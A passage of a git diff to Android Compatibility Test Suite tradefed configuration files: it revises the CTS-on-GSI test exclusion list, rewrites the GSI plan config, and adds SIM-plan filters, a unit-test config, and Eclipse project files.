+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testAlarmClockSetTimer" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testAlarmClockShowAlarms" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testAlarmClockShowTimers" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testAlarmClockSnoozeAlarm" />
 
-    <!-- Exclude not applicable testcases-->
-    <option name="compatibility:exclude-filter" value="CtsSignatureTestCases" />
+    <!-- No Gallery2 -->
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.ExternalStorageHostTest#testSystemGalleryExists" />
+    <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.StrictModeTest#testFileUriExposure" />
+    <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.StrictModeTest#testVmPenaltyListener" />
+    <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.StrictModeTest#testContentUriWithoutPermission" />
+    <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.AutoRevokeTest" />
 
-    <!--
-        Exclude testcases failing on Pixel devices
-        TODO(jaeshin@): b/68300743
-    -->
-    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testVoiceCommand" />
-    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testVoiceSearchHandsFree" />
+    <!-- No Gallery2, Music -->
+    <option name="compatibility:exclude-filter" value="CtsProviderTestCases android.provider.cts.media.MediaStoreIntentsTest" />
 
-    <!-- Excluded tese case - TODO(jiyong): b/67739526 to reenable that -->
-    <option name="compatibility:exclude-filter" value="CtsJniTestCases android.jni.cts.JniStaticTest#test_linker_namespaces" />
+    <!-- No Music -->
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testMusicPlayback" />
 
-    <!-- b/68190722: Remove testcases that require RRO which is planned for Pi -->
-    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActionBarTest#testOpenOptionsMenu" />
-    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActionBarTest#testOptionsMenuKey" />
-    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityKeyboardShortcutsTest#testRequestShowKeyboardShortcuts" />
+    <!-- No QuickSearchBox -->
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testWebSearchNormalUrl" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testWebSearchPlainText" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testWebSearchSecureUrl" />
 
-    <!-- b/71958344: Exclude until CTS releases it -->
-    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.OverlayHostTest#testInstallingOverlayHasNoEffect" />
+    <!-- No SettingsIntelligence -->
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testSettingsSearchIntent" />
 
-    <!-- b/161837932: Fix MediaPlayerTests that use "too small" resolution -->
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerTest#testOnSubtitleDataListener" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerTest#testChangeSubtitleTrack" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerTest#testDeselectTrackForSubtitleTracks" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerTest#testGetTrackInfoForVideoWithSubtitleTracks" />
-
-    <!-- b/74583365: CtsAppSecurityHostTestCases flaky -->
-    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.AdoptableHostTest#testApps " />
-    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.AdoptableHostTest#testEjected" />
-    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.AdoptableHostTest#testPackageInstaller" />
-    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.AdoptableHostTest#testPrimaryStorage" />
-
-    <!-- b/152359655: ResumeOnReboot can't work on GSI -->
-    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.ResumeOnRebootHostTest" />
-
-    <!-- b/77175538: CtsViewTestCases failure flaky -->
-    <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.PixelCopyTest#testWindowProducerCopyToRGBA16F" />
-
-    <!-- b/73727333: CtsSystemUiTestCases failure flaky -->
-    <option name="compatibility:exclude-filter" value="CtsSystemUiTestCases android.systemui.cts.LightBarTests#testLightNavigationBar" />
-    <option name="compatibility:exclude-filter" value="CtsSystemUiTestCases android.systemui.cts.LightBarThemeTest#testNavigationBarDivider" />
-
-    <!-- b/80388296: CtsDevicePolicyManagerTestCases failure flaky -->
-    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testDisallowAutofill_allowed" />
-    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testPackageInstallUserRestrictions" />
-    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testPermissionAppUpdate" />
-    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testPermissionGrant" />
-    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testPermissionMixedPolicies" />
-    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testPermissionPolicy" />
-    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testSuspendPackage" />
-
-    <!-- b/80407835: CtsServicesHostTestCases failure flaky -->
-    <option name="compatibility:exclude-filter" value="CtsServicesHostTestCases android.server.cts.KeyguardTests#testDialogShowWhenLockedActivity" />
-    <option name="compatibility:exclude-filter" value="CtsServicesHostTestCases android.server.cts.KeyguardTests#testTranslucentShowWhenLockedActivity" />
-
-    <!-- b/80284482: Flaky tests -->
-    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testAllowWhileIdleAlarms" />
-    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testBucketUpgradeToNoDelay" />
-    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testBucketUpgradeToSmallerDelay" />
-    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testFrequentDelay" />
-    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testRareDelay" />
-    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testWorkingSetDelay" />
-
-    <!-- b/110260628: A confirmed GSI incompatibility (waiver) -->
-    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.DeviceOwnerTest#testCreateAndManageUser_DontSkipSetupWizard" />
-    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.DeviceOwnerTest#testSecurityLoggingWithSingleUser" />
-    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedDeviceOwnerTest#testKeyManagement" />
-    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedProfileOwnerTest#testKeyManagement" />
-    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testKeyManagement" />
-
-    <!-- b/110405497: Flaky tests (waiver) -->
-    <option name="compatibility:exclude-filter" value="CtsKeystoreTestCases android.keystore.cts.KeyAttestationTest#testDeviceIdAttestation" />
-
-    <!-- b/141113818: Allows unlock for CTS-on-GSI -->
-    <option name="compatibility:exclude-filter" value="CtsKeystoreTestCases android.keystore.cts.KeyAttestationTest#testEcAttestation_DeviceLocked" />
-    <option name="compatibility:exclude-filter" value="CtsKeystoreTestCases android.keystore.cts.KeyAttestationTest#testRsaAttestation_DeviceLocked" />
-
-    <!-- b/110385515: Flaky due to a particular SIM card requirement (excluded) -->
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.ConnectivityManagerTest#testOpenConnection" />
-    <option name="compatibility:exclude-filter" value="CtsWifiTestCases android.net.wifi.rtt.cts.WifiRttTest#testRangingToTestAp" />
-
-    <!-- b/110417203: Flaky tests -->
-    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUidTagStateDetails" />
-
-    <!-- b/80077786: MyVerizonServices fail -->
-    <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.PrivappPermissionsTest#testPrivappPermissionsEnforcement" />
-
-    <!-- b/111101428: CtsOsTestCases irrelevant test cases -->
-    <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.BuildTest#testIsSecureUserBuild" />
-    <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.BuildVersionTest#testBuildFingerprint" />
-
-    <!-- b/110405126: CtsPermissionTestCases flaky (due to SIM card setting) -->
-    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testGetDeviceId" />
-    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testGetImei" />
-    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testGetLine1Number" />
-    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testGetSimSerialNumber" />
-    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testGetSubscriberId" />
-    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testSetDataEnabled" />
-    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testVoiceMailNumber" />
-
-    <!-- b/111967702: CtsSecurityTestCases irrelevant test cases -->
-    <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.BannedFilesTest#testNoSu" />
-    <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.BannedFilesTest#testNoSuInPath" />
-
-    <!-- b/116170534: CtsMediaTestCases regression (9.0 R4 waiver) -->
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.DecoderTest#testH265HDR10StaticMetadata" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerCornerCase" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerCornerCase2" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerCubicMonotonic" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerDuck" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerJoin" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerRamp" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerRunDuringPauseStop" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerStepRamp" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VolumeShaperTest#testPlayerTwoShapers" />
-
-    <!-- b/157286547 CtsIncidentHostTestCases ErrorsTest failure -->
-    <option name="compatibility:exclude-filter" value="CtsIncidentHostTestCases com.android.server.cts.ErrorsTest#testNativeCrash" />
-
-    <!-- b/111167329: CtsCameraTestCases failure -->
-    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.SurfaceViewPreviewTest#testSurfaceSet"/>
-
-    <!-- b/135588722: CtsUsesLibraryHostTestCases (10_r1 waiver) -->
-    <option name="compatibility:exclude-filter" value="CtsUsesLibraryHostTestCases android.classloaders.cts.UsesLibraryHostTest#testMissingLibrary_full"/>
-    <option name="compatibility:exclude-filter" value="CtsUsesLibraryHostTestCases android.classloaders.cts.UsesLibraryHostTest#testUsesLibrary_full"/>
-    <option name="compatibility:exclude-filter" value="CtsCompilationTestCases android.compilation.cts.AdbRootDependentCompilationTest"/>
-
-    <!-- b/145371681: CtsContentSuggestionsTestCases and CtsAppPredictionServiceTestCases (10_r2 waiver) -->
-    <option name="compatibility:exclude-filter" value="CtsAppPredictionServiceTestCases" />
-    <option name="compatibility:exclude-filter" value="CtsContentSuggestionsTestCases" />
-
-    <!-- b/143513519: CtsCameraTestCases (10_r3 waiver) -->
-    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.camera.cts.HeifWriterTest#testHeif"/>
-
-    <!-- b/155107044: CtsNetTestCases -->
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testInterfaceCountersUdp4"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm64Tcp4UdpEncap"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testInterfaceCountersUdp6"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacMd5Tcp6"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha512Tcp4"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacMd5Tcp4"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha512Tcp6"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha1Udp6"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha1Udp4"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha1Tcp6"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha1Tcp4"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm128Tcp4"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm128Tcp6"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm96Tcp6"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha1Tcp4UdpEncap"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm96Tcp4"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testCryptTcp4UdpEncap"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm128Udp4UdpEncap"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testCryptUdp6"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAuthUdp4"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testCryptUdp4"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAuthUdp6"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testCryptTcp6"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha1Udp4UdpEncap"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testCryptTcp4"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAuthUdp4UdpEncap"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testIkeOverUdpEncapSocket"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm128Udp4"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm128Udp6"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha256Tcp6"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha256Tcp4"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacMd5Udp4UdpEncap"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm96Tcp4UdpEncap"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testInterfaceCountersUdp4UdpEncap"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha512Udp4"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha512Udp6"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha256Tcp4UdpEncap"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha384Udp6"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha384Udp4UdpEncap"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha256Udp4UdpEncap"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm64Tcp4"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm64Tcp6"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha512Udp4UdpEncap"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm96Udp6"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha384Tcp6"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm96Udp4"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha384Udp4"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha256Udp4"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacMd5Udp6"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAuthTcp4"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacMd5Udp4"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAuthTcp6"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha384Tcp4"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm128Tcp4UdpEncap"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testCryptUdp4UdpEncap"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAuthTcp4UdpEncap"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacMd5Tcp4UdpEncap"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm64Udp4UdpEncap"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha256Udp6"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm64Udp4"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha384Tcp4UdpEncap"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm64Udp6"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesGcm96Udp4UdpEncap"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testAesCbcHmacSha512Tcp4UdpEncap"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.TrafficStatsTest#testTrafficStatsForLocalhost"/>
-    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.TrafficStatsTest#testValidTotalStats"/>
-
-    <!-- b/150807956: Temporarily disabled due to bad experiment channel -->
-    <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.LayerTests#testWebViewWithLayerAndComplexClip" />
-    <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.PathClippingTests#testWebViewClipWithCircle" />
-
-    <!-- b/159295445, b/159294948: CtsDevicePolicyManagerTestCases -->
-    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedDeviceOwnerTest#testDelegatedCertInstallerDeviceIdAttestation" />
-    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testDelegatedCertInstallerDeviceIdAttestation" />
-    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testDeviceIdAttestationForProfileOwner" />
-
-    <!-- b/153032202: CtsSystemUiTestCases (10_r3 waiver) -->
-    <option name="compatibility:exclude-filter" value="CtsSystemUiTestCases android.systemui.cts.WindowInsetsBehaviorTests#swipeOutsideLimit_systemUiVisible_allEventsCanceled"/>
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi.xml b/tools/cts-tradefed/res/config/cts-on-gsi.xml
index a87ba2e..be89e79 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi.xml
@@ -1,5 +1,5 @@
 <?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
+<!-- Copyright (C) 2021 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
@@ -13,21 +13,11 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<configuration description="Runs a subset of CTS tests using a general system image (GSI)">
-    <!-- Enforce collecting vendor build information -->
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.VtsDeviceInfoCollector" />
+<configuration description="Runs a subset of CTS on AOSP tests for gsi_$arch">
 
-    <!-- Common CTS config -->
-    <include name="cts" />
-
-    <!-- CTS-on-GSI is not expected to run parameterized modules -->
-    <option name="compatibility:enable-parameterized-modules" value="false" />
-    <option name="compatibility:primary-abi-only" value="true" />
-
+    <include name="cts-on-aosp" />
     <include name="cts-on-gsi-exclude" />
-    <!-- Overwrite the "cts" plan configured in cts.xml -->
+
     <option name="plan" value="cts-on-gsi" />
 
-    <!-- For CTS-on-GSI, override the suite name to VTS for the R release only -->
-    <option name="cts-on-gsi-variant" value="true" />
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-sim-include.xml b/tools/cts-tradefed/res/config/cts-sim-include.xml
index 1614c18..e9a69ea 100644
--- a/tools/cts-tradefed/res/config/cts-sim-include.xml
+++ b/tools/cts-tradefed/res/config/cts-sim-include.xml
@@ -30,6 +30,7 @@
     <option name="compatibility:include-filter" value="CtsSecureElementAccessControlTestCases1" />
     <option name="compatibility:include-filter" value="CtsSecureElementAccessControlTestCases2" />
     <option name="compatibility:include-filter" value="CtsSecureElementAccessControlTestCases3" />
+    <option name="compatibility:include-filter" value="CtsSimPhonebookProviderTestCases" />
     <option name="compatibility:include-filter" value="CtsSimRestrictedApisTestCases" />
     <option name="compatibility:include-filter" value="CtsStatsdHostTestCases" />
     <option name="compatibility:include-filter" value="CtsTelecomTestCases" />
@@ -41,5 +42,6 @@
     <option name="compatibility:include-filter" value="CtsTelephonySdk28TestCases" />
     <option name="compatibility:include-filter" value="CtsTetheringTest" />
     <option name="compatibility:include-filter" value="CtsUsageStatsTestCases" />
+    <option name="compatibility:include-filter" value="CtsVcnTestCases" />
 
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-unit-tests.xml b/tools/cts-tradefed/res/config/cts-unit-tests.xml
new file mode 100644
index 0000000..9f30011
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-unit-tests.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Executes the CTS unit tests">
+    <option name="null-device" value="true" />
+    <build_provider class="com.android.tradefed.build.StubBuildProvider" />
+    <test class="com.android.tradefed.testtype.HostTest" >
+        <option name="class" value="com.android.compatibility.tradefed.CtsUnitTests" />
+        <option name="class" value="com.drawelements.deqp.runner.DeqpTestRunnerTest" />
+    </test>
+    <logger class="com.android.tradefed.log.FileLogger" />
+
+    <result_reporter class="com.android.tradefed.result.ConsoleResultReporter">
+        <option name="suppress-passed-tests" value="true" />
+    </result_reporter>
+    <template-include name="reporters" default="empty" />
+</configuration>
diff --git a/tools/cts-tradefed/tests/.classpath b/tools/cts-tradefed/tests/.classpath
new file mode 100644
index 0000000..bd4f759
--- /dev/null
+++ b/tools/cts-tradefed/tests/.classpath
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<classpath>
+	<classpathentry excluding="Android.bp" kind="src" path="src"/>
+	<classpathentry combineaccessrules="false" kind="src" path="/tradefederation"/>
+	<classpathentry combineaccessrules="false" kind="src" path="/cts-tradefed"/>
+	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-9">
+		<attributes>
+			<attribute name="module" value="true"/>
+		</attributes>
+	</classpathentry>
+	<classpathentry kind="var" path="TRADEFED_ROOT/out/soong/.intermediates/external/guava/guava-jre/linux_glibc_common/combined/guava-jre.jar">
+		<attributes>
+			<attribute name="module" value="true"/>
+		</attributes>
+	</classpathentry>
+	<classpathentry kind="output" path="bin"/>
+</classpath>
diff --git a/tools/cts-tradefed/tests/.project b/tools/cts-tradefed/tests/.project
new file mode 100644
index 0000000..2f00b36
--- /dev/null
+++ b/tools/cts-tradefed/tests/.project
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<projectDescription>
+	<name>cts-tradefed-tests</name>
+	<comment></comment>
+	<projects>
+	</projects>
+	<buildSpec>
+		<buildCommand>
+			<name>org.eclipse.jdt.core.javabuilder</name>
+			<arguments>
+			</arguments>
+		</buildCommand>
+	</buildSpec>
+	<natures>
+		<nature>org.eclipse.jdt.core.javanature</nature>
+	</natures>
+</projectDescription>
diff --git a/tools/cts-tradefed/tests/Android.bp b/tools/cts-tradefed/tests/Android.bp
index 0d0bcea..51de025 100644
--- a/tools/cts-tradefed/tests/Android.bp
+++ b/tools/cts-tradefed/tests/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library_host {
     name: "cts-tradefed-tests",
 
